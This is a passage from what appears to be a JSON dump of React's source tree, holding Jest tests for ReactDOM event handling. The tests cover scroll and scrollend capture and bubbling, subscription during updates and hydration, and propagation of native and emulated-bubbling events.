e.currentTarget.className]),\n    );\n    const onScrollCapture = jest.fn(e =>\n      log.push(['onScroll', 'capture', e.currentTarget.className]),\n    );\n    const onScrollEnd = jest.fn(e =>\n      log.push(['onScrollEnd', 'bubble', e.currentTarget.className]),\n    );\n    const onScrollEndCapture = jest.fn(e =>\n      log.push(['onScrollEnd', 'capture', e.currentTarget.className]),\n    );\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div\n            className=\"grand\"\n            onScroll={onScroll}\n            onScrollCapture={onScrollCapture}\n            onScrollEnd={onScrollEnd}\n            onScrollEndCapture={onScrollEndCapture}>\n            <div\n              className=\"parent\"\n              onScroll={onScroll}\n              onScrollCapture={onScrollCapture}\n              onScrollEnd={onScrollEnd}\n              onScrollEndCapture={onScrollEndCapture}>\n              <div\n                className=\"child\"\n                onScroll={onScroll}\n                onScrollCapture={onScrollCapture}\n                onScrollEnd={onScrollEnd}\n                onScrollEndCapture={onScrollEndCapture}\n                ref={ref}\n              />\n            </div>\n          </div>,\n        );\n      });\n\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('scroll', {\n            bubbles: false,\n          }),\n        );\n        ref.current.dispatchEvent(\n          new Event('scrollend', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(log).toEqual([\n        ['onScroll', 'capture', 'grand'],\n        ['onScroll', 'capture', 'parent'],\n        ['onScroll', 'capture', 'child'],\n        ['onScroll', 'bubble', 'child'],\n        ['onScrollEnd', 'capture', 'grand'],\n        ['onScrollEnd', 'capture', 'parent'],\n        ['onScrollEnd', 'capture', 'child'],\n        ['onScrollEnd', 'bubble', 'child'],\n      ]);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  // We're moving towards aligning more closely with the browser.\n  // Currently we emulate bubbling for all non-bubbling events except scroll.\n  // We may expand this list in the future, removing emulated bubbling altogether.\n  it('should not emulate bubbling of scroll events (no own handler)', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n    const log = [];\n    const onScroll = jest.fn(e =>\n      log.push(['onScroll', 'bubble', e.currentTarget.className]),\n    );\n    const onScrollCapture = jest.fn(e =>\n      log.push(['onScroll', 'capture', e.currentTarget.className]),\n    );\n    const onScrollEnd = jest.fn(e =>\n      log.push(['onScrollEnd', 'bubble', e.currentTarget.className]),\n    );\n    const onScrollEndCapture = jest.fn(e =>\n      log.push(['onScrollEnd', 'capture', e.currentTarget.className]),\n    );\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div\n            className=\"grand\"\n            onScroll={onScroll}\n            onScrollCapture={onScrollCapture}\n            onScrollEnd={onScrollEnd}\n            onScrollEndCapture={onScrollEndCapture}>\n            <div\n              className=\"parent\"\n              onScroll={onScroll}\n              onScrollCapture={onScrollCapture}\n              onScrollEnd={onScrollEnd}\n              onScrollEndCapture={onScrollEndCapture}>\n              {/* Intentionally no handler on the child: */}\n              <div className=\"child\" ref={ref} />\n            </div>\n          </div>,\n        );\n      });\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('scroll', {\n            bubbles: false,\n          }),\n        );\n        ref.current.dispatchEvent(\n          new Event('scrollend', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(log).toEqual([\n        ['onScroll', 'capture', 'grand'],\n        ['onScroll', 'capture', 'parent'],\n        ['onScrollEnd', 'capture', 'grand'],\n        ['onScrollEnd', 'capture', 'parent'],\n      ]);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should subscribe to scroll during updates', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n    const log = [];\n    const onScroll = jest.fn(e =>\n      log.push(['onScroll', 'bubble', e.currentTarget.className]),\n    );\n    const onScrollCapture = jest.fn(e =>\n      log.push(['onScroll', 'capture', e.currentTarget.className]),\n    );\n    const onScrollEnd = jest.fn(e =>\n      log.push(['onScrollEnd', 'bubble', e.currentTarget.className]),\n    );\n    const onScrollEndCapture = jest.fn(e =>\n      log.push(['onScrollEnd', 'capture', e.currentTarget.className]),\n    );\n    document.body.appendChild(container);\n    try {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            <div>\n              <div />\n            </div>\n          </div>,\n        );\n      });\n\n      await act(() => {\n        // Update to attach.\n        root.render(\n          <div\n            className=\"grand\"\n            onScroll={e => onScroll(e)}\n            onScrollCapture={e => onScrollCapture(e)}\n            onScrollEnd={e => onScrollEnd(e)}\n            onScrollEndCapture={e => onScrollEndCapture(e)}>\n            <div\n              className=\"parent\"\n              onScroll={e => onScroll(e)}\n              onScrollCapture={e => onScrollCapture(e)}\n              onScrollEnd={e => onScrollEnd(e)}\n              onScrollEndCapture={e => onScrollEndCapture(e)}>\n              <div\n                className=\"child\"\n                onScroll={e => onScroll(e)}\n                onScrollCapture={e => onScrollCapture(e)}\n                onScrollEnd={e => onScrollEnd(e)}\n                onScrollEndCapture={e => onScrollEndCapture(e)}\n                ref={ref}\n              />\n            </div>\n          </div>,\n        );\n      });\n\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('scroll', {\n            bubbles: false,\n          }),\n        );\n        ref.current.dispatchEvent(\n          new Event('scrollend', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(log).toEqual([\n        ['onScroll', 'capture', 'grand'],\n        ['onScroll', 'capture', 'parent'],\n        ['onScroll', 'capture', 'child'],\n        ['onScroll', 'bubble', 'child'],\n        ['onScrollEnd', 'capture', 'grand'],\n        ['onScrollEnd', 'capture', 'parent'],\n        ['onScrollEnd', 'capture', 'child'],\n        ['onScrollEnd', 'bubble', 'child'],\n      ]);\n\n      // Update to verify deduplication.\n      log.length = 0;\n      await act(() => {\n        root.render(\n          <div\n            className=\"grand\"\n            // Note: these are intentionally inline functions so that\n            // we hit the reattachment codepath instead of bailing out.\n            onScroll={e => onScroll(e)}\n            onScrollCapture={e => onScrollCapture(e)}\n            onScrollEnd={e => onScrollEnd(e)}\n            onScrollEndCapture={e => onScrollEndCapture(e)}>\n            <div\n              className=\"parent\"\n              onScroll={e => onScroll(e)}\n              onScrollCapture={e => onScrollCapture(e)}\n              onScrollEnd={e => onScrollEnd(e)}\n              onScrollEndCapture={e => onScrollEndCapture(e)}>\n              <div\n                className=\"child\"\n                onScroll={e => onScroll(e)}\n                onScrollCapture={e => onScrollCapture(e)}\n                onScrollEnd={e => onScrollEnd(e)}\n                onScrollEndCapture={e => onScrollEndCapture(e)}\n                ref={ref}\n              />\n            </div>\n          </div>,\n        );\n      });\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('scroll', {\n            bubbles: false,\n          }),\n        );\n        ref.current.dispatchEvent(\n          new Event('scrollend', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(log).toEqual([\n        ['onScroll', 'capture', 'grand'],\n        ['onScroll', 'capture', 'parent'],\n        ['onScroll', 'capture', 'child'],\n        ['onScroll', 'bubble', 'child'],\n        ['onScrollEnd', 'capture', 'grand'],\n        ['onScrollEnd', 'capture', 'parent'],\n        ['onScrollEnd', 'capture', 'child'],\n        ['onScrollEnd', 'bubble', 'child'],\n      ]);\n\n      // Update to detach.\n      log.length = 0;\n      await act(() => {\n        root.render(\n          <div>\n            <div>\n              <div ref={ref} />\n            </div>\n          </div>,\n        );\n      });\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('scroll', {\n            bubbles: false,\n          }),\n        );\n        ref.current.dispatchEvent(\n          new Event('scrollend', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(log).toEqual([]);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  // Regression test.\n  it('should subscribe to scroll during hydration', async () => {\n    const container = document.createElement('div');\n    const ref = React.createRef();\n    const log = [];\n    const onScroll = jest.fn(e =>\n      log.push(['onScroll', 'bubble', e.currentTarget.className]),\n    );\n    const onScrollCapture = jest.fn(e =>\n      log.push(['onScroll', 'capture', e.currentTarget.className]),\n    );\n    const onScrollEnd = jest.fn(e =>\n      log.push(['onScrollEnd', 'bubble', e.currentTarget.className]),\n    );\n    const onScrollEndCapture = jest.fn(e =>\n      log.push(['onScrollEnd', 'capture', e.currentTarget.className]),\n    );\n\n    const tree = (\n      <div\n        className=\"grand\"\n        onScroll={onScroll}\n        onScrollCapture={onScrollCapture}\n        onScrollEnd={onScrollEnd}\n        onScrollEndCapture={onScrollEndCapture}>\n        <div\n          className=\"parent\"\n          onScroll={onScroll}\n          onScrollCapture={onScrollCapture}\n          onScrollEnd={onScrollEnd}\n          onScrollEndCapture={onScrollEndCapture}>\n          <div\n            className=\"child\"\n            onScroll={onScroll}\n            onScrollCapture={onScrollCapture}\n            onScrollEnd={onScrollEnd}\n            onScrollEndCapture={onScrollEndCapture}\n            ref={ref}\n          />\n        </div>\n      </div>\n    );\n    document.body.appendChild(container);\n    try {\n      container.innerHTML = ReactDOMServer.renderToString(tree);\n      let root;\n      await act(() => {\n        root = ReactDOMClient.hydrateRoot(container, tree);\n      });\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('scroll', {\n            bubbles: false,\n          }),\n        );\n        ref.current.dispatchEvent(\n          new Event('scrollend', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(log).toEqual([\n        ['onScroll', 'capture', 'grand'],\n        ['onScroll', 'capture', 'parent'],\n        ['onScroll', 'capture', 'child'],\n        ['onScroll', 'bubble', 'child'],\n        ['onScrollEnd', 'capture', 'grand'],\n        ['onScrollEnd', 'capture', 'parent'],\n        ['onScrollEnd', 'capture', 'child'],\n        ['onScrollEnd', 'bubble', 'child'],\n      ]);\n\n      log.length = 0;\n      await act(() => {\n        root.render(\n          <div>\n            <div>\n              <div ref={ref} />\n            </div>\n          </div>,\n        );\n      });\n      await act(() => {\n        ref.current.dispatchEvent(\n          new Event('scroll', {\n            bubbles: false,\n          }),\n        );\n        ref.current.dispatchEvent(\n          new Event('scrollend', {\n            bubbles: false,\n          }),\n        );\n      });\n      expect(log).toEqual([]);\n    } finally {\n      document.body.removeChild(container);\n    }\n  });\n\n  it('should not subscribe to selectionchange twice', async () => {\n    const log = [];\n\n    const originalDocAddEventListener = document.addEventListener;\n    document.addEventListener = function (type, fn, options) {\n      switch (type) {\n        case 'selectionchange':\n          log.push(options);\n          break;\n        default:\n          throw new Error(\n            `Did not expect to add a document-level listener for the \"${type}\" event.`,\n          );\n      }\n    };\n    try {\n      const rootOne = ReactDOMClient.createRoot(document.createElement('div'));\n      const rootTwo = ReactDOMClient.createRoot(document.createElement('div'));\n\n      await act(() => {\n        rootOne.render(<input />);\n        rootTwo.render(<input />);\n      });\n    } finally {\n      document.addEventListener = originalDocAddEventListener;\n    }\n\n    expect(log).toEqual([false]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMEventPropagation-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n'use strict';\n\ndescribe('ReactDOMEventListener', () => {\n  let React;\n  let OuterReactDOMClient;\n  let InnerReactDOM;\n  let InnerReactDOMClient;\n  let act;\n  let container;\n  let root;\n\n  beforeEach(() => {\n    window.TextEvent = function () {};\n    jest.resetModules();\n    jest.isolateModules(() => {\n      React = require('react');\n      act = require('internal-test-utils').act;\n      OuterReactDOMClient = require('react-dom/client');\n    });\n    jest.isolateModules(() => {\n      InnerReactDOM = require('react-dom');\n      InnerReactDOMClient = require('react-dom/client');\n    });\n    expect(OuterReactDOMClient).not.toBe(InnerReactDOMClient);\n  });\n\n  afterEach(async () => {\n    await cleanup();\n  });\n\n  async function cleanup() {\n    if (container) {\n      await act(() => {\n        root.unmount();\n      });\n      document.body.removeChild(container);\n      container = null;\n    }\n  }\n\n  async function render(tree) {\n    await cleanup();\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    root = OuterReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(tree);\n    });\n  }\n\n  describe('bubbling events', () => {\n    it('onAnimationEnd', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onAnimationEnd',\n        reactEventType: 'animationend',\n        nativeEvent: 'animationend',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('animationend', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onAnimationIteration', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onAnimationIteration',\n        reactEventType: 'animationiteration',\n        nativeEvent: 'animationiteration',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('animationiteration', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onAnimationStart', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onAnimationStart',\n        reactEventType: 'animationstart',\n        nativeEvent: 'animationstart',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('animationstart', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onAuxClick', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onAuxClick',\n        reactEventType: 'auxclick',\n        nativeEvent: 'auxclick',\n        dispatch(node) {\n          node.dispatchEvent(\n            new KeyboardEvent('auxclick', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onBlur', async () => {\n      await testNativeBubblingEvent({\n        type: 'input',\n        reactEvent: 'onBlur',\n        reactEventType: 'blur',\n        nativeEvent: 'focusout',\n        dispatch(node) {\n          const e = new Event('focusout', {\n            bubbles: true,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    // This test will fail in legacy mode (only used in WWW)\n    // because we emulate the React 16 behavior where\n    // the click handler is attached to the document.\n    // @gate !enableLegacyFBSupport\n    it('onClick', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onClick',\n        reactEventType: 'click',\n        nativeEvent: 'click',\n        dispatch(node) {\n          node.click();\n        },\n      });\n    });\n\n    it('onContextMenu', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onContextMenu',\n        reactEventType: 'contextmenu',\n        nativeEvent: 'contextmenu',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('contextmenu', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onCopy', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onCopy',\n        reactEventType: 'copy',\n        nativeEvent: 'copy',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('copy', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onCut', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onCut',\n        reactEventType: 'cut',\n        nativeEvent: 'cut',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('cut', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onDoubleClick', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onDoubleClick',\n        reactEventType: 'dblclick',\n        nativeEvent: 'dblclick',\n        dispatch(node) {\n          node.dispatchEvent(\n            new KeyboardEvent('dblclick', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onDrag', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onDrag',\n        reactEventType: 'drag',\n        nativeEvent: 'drag',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('drag', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onDragEnd', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onDragEnd',\n        reactEventType: 'dragend',\n        nativeEvent: 'dragend',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('dragend', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onDragEnter', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onDragEnter',\n        reactEventType: 'dragenter',\n        nativeEvent: 'dragenter',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('dragenter', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onDragExit', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onDragExit',\n        reactEventType: 'dragexit',\n        nativeEvent: 'dragexit',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('dragexit', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onDragLeave', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onDragLeave',\n        reactEventType: 'dragleave',\n        nativeEvent: 'dragleave',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('dragleave', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onDragOver', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onDragOver',\n        reactEventType: 'dragover',\n        nativeEvent: 'dragover',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('dragover', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onDragStart', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onDragStart',\n        reactEventType: 'dragstart',\n        nativeEvent: 'dragstart',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('dragstart', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onDrop', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onDrop',\n        reactEventType: 'drop',\n        nativeEvent: 'drop',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('drop', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onFocus', async () => {\n      await testNativeBubblingEvent({\n        type: 'input',\n        reactEvent: 'onFocus',\n        reactEventType: 'focus',\n        nativeEvent: 'focusin',\n        dispatch(node) {\n          const e = new Event('focusin', {\n            bubbles: true,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onGotPointerCapture', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onGotPointerCapture',\n        reactEventType: 'gotpointercapture',\n        nativeEvent: 'gotpointercapture',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('gotpointercapture', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onKeyDown', async () => {\n      await testNativeBubblingEvent({\n        type: 'input',\n        reactEvent: 'onKeyDown',\n        reactEventType: 'keydown',\n        nativeEvent: 'keydown',\n        dispatch(node) {\n          node.dispatchEvent(\n            new KeyboardEvent('keydown', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onKeyPress', async () => {\n      await testNativeBubblingEvent({\n        type: 'input',\n        reactEvent: 'onKeyPress',\n        reactEventType: 'keypress',\n        nativeEvent: 'keypress',\n        dispatch(node) {\n          node.dispatchEvent(\n            new KeyboardEvent('keypress', {\n              keyCode: 13,\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onKeyUp', async () => {\n      await testNativeBubblingEvent({\n        type: 'input',\n        reactEvent: 'onKeyUp',\n        reactEventType: 'keyup',\n        nativeEvent: 'keyup',\n        dispatch(node) {\n          node.dispatchEvent(\n            new KeyboardEvent('keyup', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onLostPointerCapture', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onLostPointerCapture',\n        reactEventType: 'lostpointercapture',\n        nativeEvent: 'lostpointercapture',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('lostpointercapture', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onMouseDown', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onMouseDown',\n        reactEventType: 'mousedown',\n        nativeEvent: 'mousedown',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('mousedown', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onMouseOut', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onMouseOut',\n        reactEventType: 'mouseout',\n        nativeEvent: 'mouseout',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('mouseout', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onMouseOver', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onMouseOver',\n        reactEventType: 'mouseover',\n        nativeEvent: 'mouseover',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('mouseover', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onMouseUp', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onMouseUp',\n        reactEventType: 'mouseup',\n        nativeEvent: 'mouseup',\n        dispatch(node) {\n          node.dispatchEvent(\n            new MouseEvent('mouseup', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onPaste', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onPaste',\n        reactEventType: 'paste',\n        nativeEvent: 'paste',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('paste', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onPointerCancel', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onPointerCancel',\n        reactEventType: 'pointercancel',\n        nativeEvent: 'pointercancel',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('pointercancel', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onPointerDown', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onPointerDown',\n        reactEventType: 'pointerdown',\n        nativeEvent: 'pointerdown',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('pointerdown', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onPointerMove', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onPointerMove',\n        reactEventType: 'pointermove',\n        nativeEvent: 'pointermove',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('pointermove', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onPointerOut', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onPointerOut',\n        reactEventType: 'pointerout',\n        nativeEvent: 'pointerout',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('pointerout', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onPointerOver', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onPointerOver',\n        reactEventType: 'pointerover',\n        nativeEvent: 'pointerover',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('pointerover', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onPointerUp', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onPointerUp',\n        reactEventType: 'pointerup',\n        nativeEvent: 'pointerup',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('pointerup', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onReset', async () => {\n      await testNativeBubblingEvent({\n        type: 'form',\n        reactEvent: 'onReset',\n        reactEventType: 'reset',\n        nativeEvent: 'reset',\n        dispatch(node) {\n          const e = new Event('reset', {\n            bubbles: true,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onSubmit', async () => {\n      await testNativeBubblingEvent({\n        type: 'form',\n        reactEvent: 'onSubmit',\n        reactEventType: 'submit',\n        nativeEvent: 'submit',\n        dispatch(node) {\n          const e = new SubmitEvent('submit', {\n            bubbles: true,\n            cancelable: true,\n            submitter: null,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onTouchCancel', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onTouchCancel',\n        reactEventType: 'touchcancel',\n        nativeEvent: 'touchcancel',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('touchcancel', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onTouchEnd', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onTouchEnd',\n        reactEventType: 'touchend',\n        nativeEvent: 'touchend',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('touchend', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onTouchMove', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onTouchMove',\n        reactEventType: 'touchmove',\n        nativeEvent: 'touchmove',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('touchmove', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onTouchStart', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onTouchStart',\n        reactEventType: 'touchstart',\n        nativeEvent: 'touchstart',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('touchstart', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onTransitionRun', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onTransitionRun',\n        reactEventType: 'transitionrun',\n        nativeEvent: 'transitionrun',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('transitionrun', {\n              bubbles: true,\n              cancelable: false,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onTransitionStart', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onTransitionStart',\n        reactEventType: 'transitionstart',\n        nativeEvent: 'transitionstart',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('transitionstart', {\n              bubbles: true,\n              cancelable: false,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onTransitionCancel', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onTransitionCancel',\n        reactEventType: 'transitioncancel',\n        nativeEvent: 'transitioncancel',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('transitioncancel', {\n              bubbles: true,\n              cancelable: false,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onTransitionEnd', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onTransitionEnd',\n        reactEventType: 'transitionend',\n        nativeEvent: 'transitionend',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('transitionend', {\n              bubbles: true,\n              cancelable: false,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onWheel', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onWheel',\n        reactEventType: 'wheel',\n        nativeEvent: 'wheel',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('wheel', {\n              bubbles: true,\n              cancelable: true,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onFullscreenChange', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onFullscreenChange',\n        reactEventType: 'fullscreenchange',\n        nativeEvent: 'fullscreenchange',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('fullscreenchange', {\n              bubbles: true,\n              cancelable: false,\n            }),\n          );\n        },\n      });\n    });\n\n    it('onFullscreenError', async () => {\n      await testNativeBubblingEvent({\n        type: 'div',\n        reactEvent: 'onFullscreenError',\n        reactEventType: 'fullscreenerror',\n        nativeEvent: 'fullscreenerror',\n        dispatch(node) {\n          node.dispatchEvent(\n            new Event('fullscreenerror', {\n              bubbles: true,\n              cancelable: false,\n            }),\n          );\n        },\n      });\n    });\n  });\n\n  describe('non-bubbling events that bubble in React', () => {\n    it('onAbort', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onAbort',\n        reactEventType: 'abort',\n        nativeEvent: 'abort',\n        dispatch(node) {\n          const e = new Event('abort', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onCancel', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'dialog',\n        reactEvent: 'onCancel',\n        reactEventType: 'cancel',\n        nativeEvent: 'cancel',\n        dispatch(node) {\n          const e = new Event('cancel', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onCanPlay', async () => {\n      await testEmulatedBubblingEvent({\n        type: 'video',\n        reactEvent: 'onCanPlay',\n        reactEventType: 'canplay',\n        nativeEvent: 'canplay',\n        dispatch(node) {\n          const e = new Event('canplay', {\n            bubbles: false,\n            cancelable: true,\n          });\n          node.dispatchEvent(e);\n        },\n      });\n    });\n\n    it('onCanPlayThrough', async () => {\n  